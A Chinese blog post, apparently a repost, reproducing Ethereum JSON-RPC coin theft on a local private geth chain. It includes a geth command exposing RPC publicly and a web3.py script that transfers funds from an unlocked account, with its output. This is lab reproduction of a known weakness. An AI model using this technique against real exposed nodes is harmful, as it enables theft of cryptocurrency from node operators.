json rpc盗币复现

栏目: 服务器 · 发布时间: 6年前

内容简介:关于漏洞是什么,可以阅读参考中的因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。根据参考中的的

关于漏洞是什么,可以阅读参考中的 金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘

因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。

环境搭建

搭建私链

根据参考中的的 如何搭建以太坊私有链 ,基本没坑地在本地起了一个以太坊节点。

自己一开始使用–testnet参数,却好像因为不能同步测试网络的原因,区块链高度(eth.blockNumber)一直是0。最终就没在测试网络复现了。

如果不是mac,可以在geth容器里操作,后面的步骤还是参考 如何搭建以太坊私有链

进入geth容器命令行:

docker run -ti --name ethereum-node --entrypoint="/bin/sh" -v /mnt/files/myethereum:/root -p 8546:8545 -p 30303:30303 ethereum/client-go

需要注意的地方:

  1. 使用geth –datadir data0 –networkid 1108 –rpcaddr 0.0.0.0 –rpc –rpccorsdomain “ “ –rpcapi “web3,eth” –rpcvhosts= console开放rpc端口
  2. 使用容器搭建环境,需要指定–entrypoint来进容器里

测试代码

需要安装 python 3

# coding:utf-8
from web3 import Web3, HTTPProvider
import time
web3 = Web3(HTTPProvider('http://localhost:8545'))
eth = web3.eth
print(web3.eth.blockNumber)
# print(web3.eth.accounts)
print(eth.getBalance(eth.accounts[0]))
print(eth.getBalance(eth.accounts[1]))
web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})

实验步骤

  1. 新建两个账号
  2. 给账号一挖矿,拿钱
  3. 模拟攻击者调rpc接口偷账号一的钱到账户二 (没有解锁用户时)

    ➜  /tmp python3 转账测试.py
    1539
    7694999999999994741030
    5258970
    Traceback (most recent call last):
      File "转账测试.py", line 15, in <module>
        web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})
      File "/usr/local/lib/python3.7/site-packages/web3/eth.py", line 268, in sendTransaction
        [transaction],
      File "/usr/local/lib/python3.7/site-packages/web3/manager.py", line 112, in request_blocking
        raise ValueError(response["error"])
    ValueError: {'code': -32000, 'message': 'authentication needed: password or unlock'}
    
  4. 模拟攻击者调rpc接口偷账号一的钱到账户二 (解锁用户时)

    personal.unlockAccount(eth.accounts[0])   解锁时间默认为300秒
    再运行python3 转账测试.py,此时交易就被提交上去了
    
  5. 如此重复调用转账测试.py,区块链高度不断增加,账户一的余额越来越少


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Art of Computer Programming, Volumes 1-3 Boxed Set

The Art of Computer Programming, Volumes 1-3 Boxed Set

Donald E. Knuth / Addison-Wesley Professional / 1998-10-15 / USD 199.99

This multivolume work is widely recognized as the definitive description of classical computer science. The first three volumes have for decades been an invaluable resource in programming theory and p......一起来看看 《The Art of Computer Programming, Volumes 1-3 Boxed Set》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试